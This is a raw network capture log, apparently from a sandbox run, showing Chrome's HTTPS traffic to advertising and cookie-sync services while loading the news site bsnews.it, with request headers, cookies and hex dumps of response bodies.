2024-03-28 08:51:29 UTC	595	IN	HTTP/1.1 302 Found Server: nginx/1.24.0 Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 119 Access-Control-Allow-Origin: * Cache-Control: max-age=3600 Location: https://dsum.casalemedia.com/crum?cm_dsp_id=191&external_user_id=228cb039-6430-c48d-d32df1cb P3p: CP='This is not a P3P policy!' Set-Cookie: _knxq_=228cb039-6430-c48d-d32df1cb.1711615889.0.1711615889.1711615889; Path=/; Domain=brand-display.com; Max-Age=63072000; Secure; SameSite=None Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:29 UTC	119	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 63 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 31 39 31 26 61 6d 70 3b 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 32 32 38 63 62 30 33 39 2d 36 34 33 30 2d 63 34 38 64 2d 64 33 32 64 66 31 63 62 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://dsum.casalemedia.com/crum?cm_dsp_id=191&external_user_id=228cb039-6430-c48d-d32df1cb">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.4	50146	54.84.169.242	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	692	OUT	GET /s/31327?bidder_id=14481&bidder_uuid=ZgUvi9HM46UAADq7ABhzMwAA%262753&gpdr=&gdpr_consent=&us_privacy=&gpp=&gpp_sid= HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:29 UTC	530	IN	HTTP/1.1 303 See Other Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Length: 0 Connection: close Location: /s/31327?gdpr_consent=&bidder_id=14481&gpp=&bidder_uuid=ZgUvi9HM46UAADq7ABhzMwAA%262753&_li_chk=true&gpp_sid=&us_privacy=&gpdr=&previous_uuid=e1bfda393c7f4f7181831ce9a7296fe5 Set-Cookie: lidid=e1bfda39-3c7f-4f71-8183-1ce9a7296fe5; Max-Age=63072000; Expires=Sat, 28 Mar 2026 08:51:29 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.4	50167	184.73.166.124	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	631	OUT	GET /sync/openx/b909db4d-d54f-a0d6-5870-40e17f4eebae?gdpr=0 HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:29 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBJEvBWYCEATYrtx-xGtri1kHhW5ZxLsFEgEBAQGBBmYPZgAAAAAA_eMAAA&S=AQAAAkUcioWL-4l4wBfcMUc-yBU; Expires=Fri, 28 Mar 2025 14:51:29 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-03-28 08:51:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.4	50144	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	663	OUT	GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=7518c174-5949-8965-a9a9-d483e82aed07 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:29 UTC	783	IN	HTTP/1.1 302 Found Server: Server Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Length: 0 Connection: close x-amz-rid: EZ72AVYS6R6KXHW2ERFZ Set-Cookie: ad-id=A0oLUb5L5UQjr86T_a5g4e8\|t; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 08:51:29 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Location: https://s.amazon-adsystem.com/dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=7518c174-5949-8965-a9a9-d483e82aed07&dcc=t Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.4	50154	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	715	OUT	GET /dcm?pid=78af914c-e755-4b90-bded-1b172aedc763&us_privacy=&gdpr=&gdpr_consent=&id=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gpp=&gpp_sid= HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:29 UTC	825	IN	HTTP/1.1 302 Found Server: Server Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Length: 0 Connection: close x-amz-rid: DSD5ZVMXKQG7F8GMVNQR Set-Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g\|t; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 08:51:29 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Location: https://s.amazon-adsystem.com/dcm?pid=78af914c-e755-4b90-bded-1b172aedc763&us_privacy=&gdpr=&gdpr_consent=&id=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gpp=&gpp_sid=&dcc=t Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.4	50150	192.132.33.68	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	648	OUT	GET /pixel/cookiesync?source=67e94f23-25d6-4008-8236-375d1743c2e0&secure=1 HTTP/1.1 Host: bttrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:29 UTC	584	IN	HTTP/1.1 302 Found Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Location: https://dsum.casalemedia.com/crum?cm_dsp_id=156&external_user_id=7687c594-1bff-4b8d-b7fd-ac5b0069f223 Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJwBFHp_4gAoHJyqBC3M45YjOIUMIRkRtcPbE0vzJ4Jyo4_QoJmr2k3A_tpQC4TM1; domain=.bttrack.com; expires=Wed, 26-Jun-2024 08:50:38 GMT; path=/; secure; SameSite=None X-ServerName: Track003-iad Date: Thu, 28 Mar 2024 08:50:37 GMT Connection: close Content-Length: 222 Strict-Transport-Security: max-age=31536000;
2024-03-28 08:51:29 UTC	222	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 63 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 31 35 36 26 61 6d 70 3b 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 37 36 38 37 63 35 39 34 2d 31 62 66 66 2d 34 62 38 64 2d 62 37 66 64 2d 61 63 35 62 30 30 36 39 66 32 32 33 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://dsum.casalemedia.com/crum?cm_dsp_id=156&external_user_id=7687c594-1bff-4b8d-b7fd-ac5b0069f223">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.4	50172	151.101.65.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	557	OUT	GET /gh/prebid/shared-id/pubcid.js/docs/pubcid.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:29 UTC	754	IN	HTTP/1.1 200 OK Connection: close Content-Length: 732 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: master X-JSD-Version-Type: branch ETag: W/"2dc-IrZxm/sP4aqtIfs1EfEw6Dg5q1Y" Accept-Ranges: bytes Date: Thu, 28 Mar 2024 08:51:29 GMT Age: 30109 X-Served-By: cache-fra-eddf8230042-FRA, cache-iad-kcgs7200087-IAD X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-03-28 08:51:29 UTC	732	IN	Data Raw: 28 28 29 3d 3e 7b 63 6f 6e 73 74 20 6f 3d 22 70 75 62 63 69 64 2e 6f 72 67 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 6f 29 7b 72 65 74 75 72 6e 20 6f 3f 28 6f 5e 28 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 26 26 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 3f 63 72 79 70 74 6f 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 31 29 29 5b 30 5d 25 31 36 3a 31 36 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 3e 3e 6f 2f 34 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 3a 28 5b 31 65 37 5d 2b 2d 31 65 33 2b 2d 34 65 33 2b 2d 38 65 33 2b 2d 31 65 31 31 29 2e 72 65 70 6c 61 63 65 28 2f 5b 30 31 38 5d 2f 67 2c 65 29 7d 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 Data Ascii: (()=>{const o="pubcid.org";function e(o){return o?(o^(window&&window.crypto&&window.crypto.getRandomValues?crypto.getRandomValues(new Uint8Array(1))[0]%16:16*Math.random())>>o/4).toString(16):([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g,e)}window.googlet

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.4	50175	34.102.146.192	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	514	OUT	GET /esp.js HTTP/1.1 Host: oa.openxcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:29 UTC	797	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPpk6oDx036tAyFrM6ODF6Dc7iDzxD5hnGhczM6YT3qls-8dFKPmCVbIOdtNGD5WNWEF4bzJSgzKAWV_jGhyW52PFQ x-goog-generation: 1622140251693895 x-goog-metageneration: 1 x-goog-stored-content-encoding: gzip x-goog-stored-content-length: 7927 Content-Encoding: gzip x-goog-hash: crc32c=f21hYg== x-goog-hash: md5=31VCuIvA42jGmZdUpbniug== x-goog-storage-class: MULTI_REGIONAL Accept-Ranges: bytes Content-Length: 7927 Server: UploadServer Date: Thu, 14 Mar 2024 02:57:45 GMT Expires: Fri, 14 Mar 2025 02:57:45 GMT Cache-Control: no-transform Age: 1230824 Last-Modified: Thu, 27 May 2021 18:30:51 GMT ETag: "df5542b88bc0e368c6999754a5b9e2ba" Content-Type: application/javascript Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:29 UTC	455	IN	Data Raw: 1f 8b 08 08 5b e5 af 60 02 ff 74 6d 70 6d 74 39 72 5f 31 74 7a 00 cd 3c 0b 7b db 36 92 7f 45 e2 75 65 62 0d d3 56 d2 47 4a 85 d1 ba ae db 64 37 89 bd b1 d3 6d 4f 51 7d b4 04 49 6c 68 52 25 21 3b ae c5 fb ed 37 33 00 48 90 a2 ec 74 9b de 5d bf c6 e2 03 18 0c 06 f3 c6 80 37 51 32 4d 6f bc f4 c3 85 c8 97 c1 6c 95 4c 64 94 26 ae 64 77 d7 61 d6 11 c1 5d 31 30 0f 3b 99 9b b0 bb 68 e6 8a 51 32 66 99 90 ab 2c e9 e0 b5 27 3e 2c d3 4c e6 03 ec 92 06 f8 28 b8 8b fc 84 c7 7e b7 cf f5 4b ff ae 28 06 ba 93 c4 4e 93 30 8e dd d4 f4 e5 29 af ae 33 06 37 71 d0 3d a8 9e 15 ba 6b e6 5d 05 92 67 de 24 10 f0 77 6a 61 cc 05 07 f4 32 2f c5 4b b6 5e 9f 5c fe 22 26 d2 9b 8a 59 94 88 d3 2c 5d 8a 4c de 52 b3 3b 91 ac ae 44 16 5e c6 c2 87 31 e6 42 fa 49 c1 0a 80 97 d5 28 e0 ac 12 d5 Data Ascii: [`tmpmt9r_1tz<{6EuebVGJd7mOQ}IlhR%!;73Ht]7Q2MolLd&dwa]10;hQ2f,'>,L(~K(N0)37q=k]g$wja2/K^\"&Y,]LR;D^1BI(
2024-03-28 08:51:29 UTC	1252	IN	Data Raw: 64 64 c4 4b 70 27 74 80 fa 5c e0 70 69 63 49 74 43 4d a2 65 96 ca 14 27 e9 2d c2 fc e4 26 31 c4 52 c2 80 1d 10 c6 32 70 1c 9e 01 75 f3 a0 ff 88 15 ee a8 c6 e4 19 bb 93 46 2a 60 99 a1 01 af 0f 69 c9 2b b5 e7 48 b9 88 87 d0 2f bb 25 0a e4 81 1c 45 63 37 64 7c 15 e4 1e ad 46 31 09 e5 64 81 24 d2 18 5f a7 d1 14 21 b0 22 f7 a6 69 22 86 c2 5d 31 1f 10 be 8a 72 e1 65 22 4f e3 6b 7c e4 c9 85 48 70 71 58 51 a1 65 93 5c c3 b3 c8 a8 17 61 11 e5 3c 09 c2 6c 0e ac 91 80 f6 30 ab 26 6e 3a 7a 18 d7 2d 7b c1 0c 54 c7 30 90 5e b8 5c c6 b7 2e ca 7b a5 9c 72 1a cb 0d 69 ae 39 5f 71 27 11 1f 80 f5 60 02 65 9b d5 46 1b b9 c8 d2 1b 6a 94 bb 34 e3 03 56 30 56 14 bc 9c 8b 61 84 a0 7c 62 bd ab 78 08 94 55 7d 1d 70 9d 94 f0 d4 55 4a 2e 3a c8 ee 20 7f 03 45 87 26 6b f0 2c 68 b2 07 Data Ascii: ddKp't\picItCMe'-&1R2puF*`i+H/%Ec7d\|F1d$_!"i"]1re"Ok\|HpqXQe\a<l0&n:z-{T0^\.{ri9_q'`eFj4V0Va\|bxU}pUJ.: E&k,h
2024-03-28 08:51:29 UTC	1252	IN	Data Raw: 47 dd 3f 86 b6 a4 80 00 ee 71 02 4e a2 c8 bd e5 2a 5f 80 82 ab c6 bf b0 82 2e 4f 1b 29 78 be 5e 83 62 17 b4 9a 41 69 63 70 16 52 74 88 0c dc 6e 1d 88 0a e0 09 02 6c 0c 1b 8c cc dc 9c 2c 4d a5 53 80 ce 2a 15 ef 07 42 52 a3 0a 44 14 d2 ed 1e 58 18 1e 23 40 94 9d 12 4f d0 79 c8 76 16 9f a9 e8 4c 31 e3 a6 1f ae 98 a3 16 67 77 a3 fc 75 f8 1a e4 31 16 c9 5c 2e 98 f1 07 f7 fa e0 65 96 43 0b 50 cd e8 82 0d 76 77 93 a7 a6 ed 80 51 60 ad 03 c2 84 55 58 68 55 35 4a 70 21 90 6d 03 cc ae 0c 1a ef b5 5c 9b 16 70 55 54 de 2a 31 73 54 68 d1 bb c3 5b ff d0 d2 4d 87 a5 b1 d0 0e 88 86 46 1e 08 b8 e6 46 66 63 cb 34 5e c3 4a 81 2b 9d ad 26 c0 a6 c1 82 2f 6a f7 31 8f c9 19 8b c3 5b 94 ac 20 77 17 a0 44 2b 77 f6 3b 43 4e 86 c2 9f 6f 3c 6f 89 de db 96 00 03 7a 6b 58 3d e3 6e 17 Data Ascii: G?qN_.O)x^bAicpRtnl,MSBRDX#@OyvL1gwu1\.eCPvwQ`UXhU5Jp!m\pUT*1sTh[MFFfc4^J+&/j1[ wD+w;CNo<ozkX=n
2024-03-28 08:51:29 UTC	1252	IN	Data Raw: 7f 23 fa 8b 99 a6 3f 8e da 76 82 a2 81 72 a5 bd 75 02 a1 52 c5 97 56 de e2 28 4c 30 4f 81 7a be 13 76 26 71 98 e7 9d 10 fe 2f b7 3e 9c 4f 83 69 7d b3 b3 12 5f 58 4e 5c 3f e3 4f e3 32 1a 97 1a 17 32 f1 aa fd a8 c0 be 59 af c1 6b 4d 3c 7b 7f 0a fd 68 87 5c 68 07 1c 4e f4 9c 12 cf ec 57 c1 bb ed 5b f7 09 c6 09 1c f9 b5 9d 9e 96 bf 86 39 69 d7 de 04 04 15 9a d0 33 68 a4 e2 be 3f 69 51 2d 8d a0 1c ea e1 a7 dd cc f3 d5 c6 dc 27 99 83 2d 33 8f b7 09 07 f0 28 49 30 04 99 4a 92 25 63 96 c0 fc 69 a4 54 56 fc 9e 92 11 54 46 f0 70 a4 cb 41 8c c2 1d af d7 e6 8d bd 65 5b 56 d8 a8 c9 cc 20 ba fe 34 d8 7f 04 11 b5 a8 eb 29 e9 ea 8c 2a d9 62 91 93 eb 78 3f db d8 c6 2e a3 6a 93 3d d3 81 d7 13 be d7 37 d1 b0 73 62 f6 07 82 ac 91 c1 01 29 cb 82 da 13 95 98 e1 ce ab 70 49 1d Data Ascii: #?vruRV(L0Ozv&q/>Oi}_XN\?O22YkM<{h\hNW[9i3h?iQ-'-3(I0J%ciTVTFpAe[V 4)*bx?.j=7sb)pI
2024-03-28 08:51:29 UTC	1252	IN	Data Raw: 2c 16 c9 24 9d 8a 69 73 6a 58 3f 6d 52 58 97 c8 fe 0d 2b 26 83 2b 7a a9 d2 eb b5 6d fe fa 84 36 75 af aa 3c 6a b4 aa 77 b4 f8 63 5b ff 87 39 b4 0e d2 c8 e2 e6 46 c2 24 5d a1 7b 90 4a d2 fc 1d d3 b0 83 bd 30 3b 83 d3 77 4a 9d f7 31 78 20 43 8e 69 b7 5c 65 00 2b 66 b7 a8 b8 75 c2 0d fa 1a d2 02 f7 6e 3a 6d 5b 40 0c b7 53 db 86 a1 84 5f 6b fe 2d 4d 40 eb 9f cc 66 c0 19 fc a1 06 bb db 1b 68 bb b1 59 29 df 8e 7e 99 df 2d d9 cf ec 7d 7f 30 f6 de 43 a9 dc 60 4a 55 da 6c b3 66 52 86 e5 db 59 d3 ec d7 9a e7 7c 8b 91 e5 c6 ba e2 fa 92 59 fd dd 5c db 9e 53 df b0 a0 30 a0 95 73 35 59 59 98 d9 c1 20 a9 d2 77 c9 ee 2e cb f0 58 91 d6 8c 18 e9 1f 81 18 1f 81 40 ab e3 48 d5 89 8c 5f d2 28 71 b1 66 7c 1b c9 3f 95 b4 e0 ba 6c 97 96 ba 8c 80 84 2c 8d 92 99 19 5b d9 5e 91 40 Data Ascii: ,$isjX?mRX+&+zm6u<jwc[9F$]{J0;wJ1x Ci\e+fun:m[@S_k-M@fhY)~-}0C`JUlfRY\|Y\S0s5YY w.X@H_(qf\|?l,[^@
2024-03-28 08:51:29 UTC	1252	IN	Data Raw: bc 09 93 79 73 0f 51 21 d4 41 61 ab 82 95 16 d4 45 49 94 bb 38 55 f9 13 ac 24 67 0a d3 b3 20 f7 40 66 ca 1a 55 2a e7 41 28 67 d5 de 93 7b d6 ea 3f 8b 3c 0f e7 58 45 a7 ea c3 f0 10 80 d0 41 86 42 55 6a 3f 03 10 99 bc 47 a5 83 bf e0 c6 6c 2b 84 a7 5e 36 d7 9c d9 5c 63 9d 3d 38 ab f4 c8 cb da 69 fc f6 64 b6 75 54 58 b3 34 ee 6e 53 0d a3 32 8d 60 db f4 95 17 5e a6 99 ac d2 ed 09 69 eb 33 f0 9f d4 73 70 1c e9 8a 50 75 f4 f6 64 44 60 7f 7c f5 f2 b9 94 cb 37 ca da 0d 6a e7 f4 22 05 17 14 7d d4 92 53 37 71 7f 12 98 35 8b 5a 58 3d 6a e3 73 17 6b 13 c1 8c 1c c6 f1 1b 91 83 ba cd c5 73 f5 ca a5 dd 26 9d 07 c0 63 37 95 26 cf 86 ef 92 d1 3b d9 19 1b 95 6e ac c3 3b 98 12 46 29 ad f5 f9 07 54 15 68 d8 d3 79 97 38 b8 71 92 af 2e 61 59 dc 3e 2f 0b af f0 f3 0f 5b 4c 52 c3 Data Ascii: ysQ!AaEI8U$g @fU*A(g{?<XEABUj?Gl+^6\c=8iduTX4nS2`^i3spPudD`\|7j"}S7q5ZX=jsks&c7&;n;F)Thy8q.aY>/[LR
2024-03-28 08:51:29 UTC	1212	IN	Data Raw: a7 93 ab c5 26 3e 25 c6 c2 7d c1 ea 04 53 48 9f 60 71 37 b6 e3 06 03 96 83 97 82 91 9b 3a e0 a9 4f b1 df 4d 30 77 72 e0 97 df a0 00 2f e3 39 a6 e0 e9 60 cf 13 7d 04 cb 54 c5 04 ed 91 14 29 bb 1b f5 65 c1 8b 8b 55 be 0c 97 d1 d0 fd cc 23 5e 73 9d b7 67 d0 27 ba 0e 27 b7 9d 38 ba cc c2 ec 16 3f 6b b0 c4 13 a8 09 7e d0 c0 74 71 b1 f0 f3 ed d9 29 15 30 f2 3e 6f 84 6a c9 f0 1f 6e e6 41 53 c5 61 10 66 b8 cc b7 46 c9 45 d6 59 84 ea 7b 09 f3 08 cc 2f b1 2a 0c e1 e1 47 13 5c f0 c9 98 2f e8 e4 30 04 23 f4 ab 37 23 1f 9a 90 9c cc ea 13 3a 3f fa ee f0 f4 45 fb 64 1a bd 68 4e e7 47 6a 4a 8f 36 a7 d4 cd bc f9 74 99 1d a2 c7 26 c0 bd ca 3c 40 7c 9a 66 9e c6 3d 1f 7d f9 f5 18 4f d0 2d 57 d9 32 cd 45 f5 bc 3f fe b7 09 c0 11 68 45 85 e4 a3 a8 30 b9 5a 5a 24 38 7a 75 fa c0 Data Ascii: &>%}SH`q7:OM0wr/9`}T)eU#^sg''8?k~tq)0>ojnASafFEY{/*G\/0#7#:?EdhNGjJ6t&<@\|f=}O-W2E?hE0ZZ$8zu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.4	50176	74.119.119.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	535	OUT	GET /js/ld/publishertag.ids.js HTTP/1.1 Host: static.criteo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:29 UTC	483	IN	HTTP/1.1 200 OK server: nginx date: Thu, 28 Mar 2024 08:51:29 GMT content-type: text/javascript content-length: 42459 last-modified: Tue, 19 Mar 2024 00:48:43 GMT etag: "65f8e0eb-a5db" expires: Fri, 29 Mar 2024 08:51:29 GMT cache-control: max-age=86400 cross-origin-resource-policy: cross-origin cache-control: public timing-allow-origin: * access-control-allow-origin: * accept-ranges: bytes strict-transport-security: max-age=31536000; preload; connection: close
